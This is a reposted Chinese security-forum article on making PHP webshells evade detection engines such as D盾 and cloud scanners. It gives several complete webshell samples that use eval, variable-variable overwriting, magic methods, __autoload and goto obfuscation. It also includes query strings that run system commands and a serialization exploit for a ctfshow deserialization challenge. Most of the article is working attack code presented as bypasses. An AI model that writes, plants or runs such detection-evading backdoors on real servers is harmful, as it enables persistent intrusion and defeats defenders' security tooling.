安全矩阵

 找回密码
 立即注册
搜索
查看: 676|回复: 0

从漏洞与ctf中学习webshell的免杀

[复制链接]

251

主题

270

帖子

1783

积分

金牌会员

Rank: 6Rank: 6

积分
1783
发表于 2023-1-11 20:02:40 | 显示全部楼层 |阅读模式
转载于:suansuan Hacking黑白红 2023-01-08 23:31 发表于安徽

目录
  • 0x00 前置知识
  • 1.php的哪些漏洞可以在webshell上面做文章?
  • 2.反序列化在webshell中的利用
  • 0x02 实际测试
  • 1.很简单的免杀,针对某盾奇效
  • 2.ctf的实例绕过
  • 重点来了,goto的使用
  • 0x03 总结


0x00 前置知识
这里主要分析php的webshell,asp与jsp以后再做分析。

1.php的哪些漏洞可以在webshell上面做文章?
反序列化,变量覆盖,代码执行,文件包含等等,当然也有可能存在其他的,这里就不深究了,感兴趣的师傅可以去研究一下。

2.反序列化在webshell中的利用
这里我之前对php的16个魔法函数进行了简单的研究,发现16个函数,均可以用到webshell中,只要稍作改变就可以绕过很多waf,当前并不是所有的都能绕过,之前在一篇文章的评论中看到一位师傅的对啊某云的shell检测做了简单的分析:

北辰师傅的方式确实很HACK,用写文件的方式绕过污点追踪,类似的思路之前赏金活动中也有白帽子提交,目前还在处理中。在这里也跟大家分享一下检测的思路:冰蝎哥斯拉类样本主要有两个特征,加载自定义类跟类的实例化,污点只要经过这两点路径就会检测。这个样本里写文件到classes目录下+类实例化这两个方式是分离的,会导致污点的丢失。对于WebShell检测引擎来说,需要进行一定程度的模拟跟关联才能判定。除了这种分离文件的思路以外,jsp单文件利用这块其实还有很多trick,后续会出一些分析文章,也欢迎大家一起讨论

这里很感谢师傅的分享。 那么这里的重点就在“加载自定义类跟类的实例化,污点只要经过这两点路径就会检测”,这句话,所有我们在面对某云时,就要尽量避免上述操作,也就是说反序列化可能不太好用了。

这里简单用反序列化写个webshell的demo


<?php  



class A{  

    function say(){  

        echo "xxxx";  

    }  

  

    public static function __callStatic($func,$arr){  

        $c=array_shift($arr);  

        eval($func.$c);  

  

    }  

  

}  

$a=$_GET['a'];  

$c=$_GET['x'];  

$$a=$c;  

$d=substr($cbc,0,2);  

$e=substr($cbc,2);  

$app = new A();  

$app:d($e);  

  

?>

使用方法就是?x=phpinfo();&a=cbc

这个只是一个简单的免杀。过d盾,百度还是很简单的。 针对上面的反序列化免杀,简单的demo之前学习反序列化时,写过相关demo文档,有兴趣的师傅可以参考一下。 链接:https://pan.baidu.com/s/1MP6UAwNDOndWQVmyGuGevw?pwd=suan 提取码:suan

  • 变量覆盖如何使用?





简单的一个demo说明一切:


<?php  

$a=$_GET['x'];  

$b=$_GET['y'];  

$$a=$b;  

eval($xss);  

?>  



<!-- ?x=xss&y=phpinfo(); -->

这就是变量覆盖,上面那个反序列化的webshell的demo就配合了变量覆盖漏洞,到达了免杀。

0x02 实际测试
经过上面的了解,想必师傅们觉得有点乏味了,那么只能说后面有惊喜了,感兴趣的师傅可以直接看后面。

1.很简单的免杀,针对某盾奇效
首先,我们看一段代码:


<?php  

header("Content-Type:text/html;charset=utf-8");  

class A{  

    private $b='aa';  

    public $c='xx';  

    public function __get($c){  

        eval($c);  

    }  

  

}  

if (md5($_GET['m'])==='62888be80bab8996808b3ea1a07954fa'){  

    $app = new A();  

    $app->$_POST['x'];   

}else{  

    print("no!no!no!");  

}  

?>

这是一个简单的shell,d盾可以检测出来:

但是重点来了,咋们只要简单的加一行很简单的代码:


$m=$c;

完整的:


<?php  

header("Content-Type:text/html;charset=utf-8");  

class A{  

    private $b='aa';  

    public $c='xx';  

    public function __get($c){  

        $m=$c;  

        eval($m);  

    }  

  

}  

if (md5($_GET['m'])==='62888be80bab8996808b3ea1a07954fa'){  

    $app = new A();  

    $app->$_POST['x'];   

}else{  

    print("no!no!no!");  

}  

?>

d 某盾直接过了???很离谱对吧,但是事实就是这样,如果说d盾对变量不敏感,那是不可能的,对冰蝎哥斯拉等等的webshell魔改,d盾都会追踪到变量,所以这怎么说呢? 可能是对某些特定的webshell,d盾会有较强的变量追踪吧,或者说d盾本身就对变量不敏感?这里还是个未知数,但是这个方法对付d盾还是很好的。

2.ctf的实例绕过
这道题是ctf的反序列化的257关


<?  

class ctfShowUser{  

    private $username='xxxxxx';  

    private $password='xxxxxx';  

    private $isVip=false;  

    private $class = 'info';  

  

    public function __construct(){  

        $this->class=new info();  

    }  

    public function login($u,$p){  

        return $this->username===$u&&$this->password===$p;  

    }  

    public function __destruct(){  

        $this->class->getInfo();  

    }  

}  

class info{  

    private $user='xxxxxx';  

    public function getInfo(){  

        return $this->user;  

    }  

}  

class backDoor{  

    private $code;  

    public function getInfo(){  

        eval($this->code);  

    }  

}  

$username=$_GET['username'];  

$password=$_GET['password'];  

  

if(isset($username) && isset($password)){  

    $user = unserialize($_COOKIE['user']);  

    $user->login($username,$password);  

}

首先这道题可能是可以执行系统命令的,那么也就是说我们可以执行系统命令,也可以当做webshell?

这次我们使用牧云做测试: 这样就过了.....很简单对吧,那么这道题的exp是:


<?php  

class ctfShowUser{  

    private $username='1';  

    private $password='2';  

    private $isVip=false;  

    private $class;  



    public function __construct(){  

        $this->class=new backDoor();  

    }  

}  

class backDoor{  

    private $code="phpinfo;";  

}  

  

$c=new ctfShowUser();  

echo urlencode(serialize($c));

反序列化输出,使用cookie传输就可以执行命令了,且url需要传参 /?username=1&password=2

但是啊,这种如果是使用webshell客户端连接的话,就需要固定反序列化后的这段代码,并且使用GET或者POST方法将执行的命令在放到反序列化数据里,而且还需要改长度,这里不做演示,师傅们可以试试,理论上是可行的。

那么有没有简单的方法呢,答案是肯定的: demo:


<?php  

header("Content-Type:text/html;charset=utf-8");  

/**   

* 文件autoload_demo.php   

*/   

  

class A{  

    public $a;  

    public function __construct($a){  

        $c=$a;  

        if (strlen($a)>2){  

            $this->a = $c;  

            eval($this->a);  

            print('xxx');  

        }else{  

            print("NONONO");  

        }  

    }  

}  

  

function  __autoload($className) {   

    $b=$_GET['a'];  

    new A($b);  

    print($className);  

    print('xx');  

    $filePath = “cs.txt”;   

    if (is_readable($filePath)) {   

        require($filePath);   

    }   

}   

  

  

if (1) {   

    $a = new abc();  

  

} else if (0) {   

    $a = newA();   

    $b = new B();   

    // … 业务逻辑   

}  

  

?>

测试可以过吗? ok,一样bypass,这个使用就简单了,直接?a=phpinfo();就可以了,连接shell管理器的话,直接改成post就行了。

重点来了,goto的使用
goto函数,官方介绍:

goto 操作符可以用来跳转到程序中的另一位置。该目标位置可以用 区分大小写 的目标名称加上冒号来标记,而跳转指令是 goto 之后接上目标位置的标记。PHP 中的 goto 有一定限制,目标位置只能位于同一个文件和作用域,也就是说无法跳出一个函数或类方法,也无法跳入到另一个函数。也无法跳入到任何循环或者 switch 结构中。可以跳出循环或者 switch,通常的用法是用 goto 代替多层的 break。

简单使用官方的demo:

<?php  goto a;  echo 'Foo';  a:  echo 'Bar';  ?>
输出:Bar


简单来说就是程序执行的跳转,指哪跳哪,就是这么霸道。 最开始发现这个函数的时候是在使用网上的加密php代码中看到的,所以就了解到了这个函数,于是对他展开了bypass研究。 这是我写的的一个webshell:

<?php  header("Content-Type:text/html;charset=gbk");  test4:  error_reporting(0);  goto test1;  test2:  if ($m == NULL){          print('NO');  }else{          $m($l);          $o();  }goto test3;  test1:  $l=$_GET['x'];  $l=base64_decode($l);  goto test2;  test3:  $m=$_GET['m'];  $o=$_GET['o'];  goto test4;  ?>  
首先检测免杀性:某云 直接过了。 使用方法:

?x=aXBjb25maWc=&m=system&o=exit

其中x的参数是要执行的代码的base64编码

代码解析: 这个其实很简单,就是使用goto反复横跳,使其成为一个循环,从循环中获取数据并执行代码,注意!!!!必须要后面接参数,否则就要拒绝服务了........

进一步优化,这个shell只能执行系统命令啊,可我想要webshell管理器连接啊,于是进一步优化了:


<?php  

header("Content-Type:text/html;charset=utf-8");  

test4:  

error_reporting(0);  

goto test1;  

test2:  

if ($l == NULL){      

    print('NO');  

}else{      

    print('OK');  

    eval($l);      

    $o();  

}  

goto test3;  

test1:  

$l='x';  

$l=$$l;  

print($l."ll");  

goto test2;  

test3:  

$m=$_GET['m'];  

$x=$_POST['y'];  

$o=$_GET['o'];  

goto test4;  

?>  

  

过了,那么这个是这么做的?很简单,就是前面提到的变量覆盖,致使无法追踪变量,打组合拳。 使用:

0x03 总结
首先我们得知道waf的工作机制,以及相对应的语言的写法,如果一种方法绕不过去,我们是不是可以打组合拳?或者是寻找其他的函数,尝试? 对于有的waf,他们很强,我感觉甚至可以做代码审计了,但是相对了,为什么很多代码审计都是人在做?工具复辅助呢?很明显,工具并不是万能的,同样,waf也绝对不是100%拦截的,如果真达到100%拦截,那么正常代码还怎么运行? 欢迎师傅们斧正,感谢。




https://forum.butian.net/share/1693奇安信攻防社区

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-5-30 08:28 , Processed in 0.014353 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表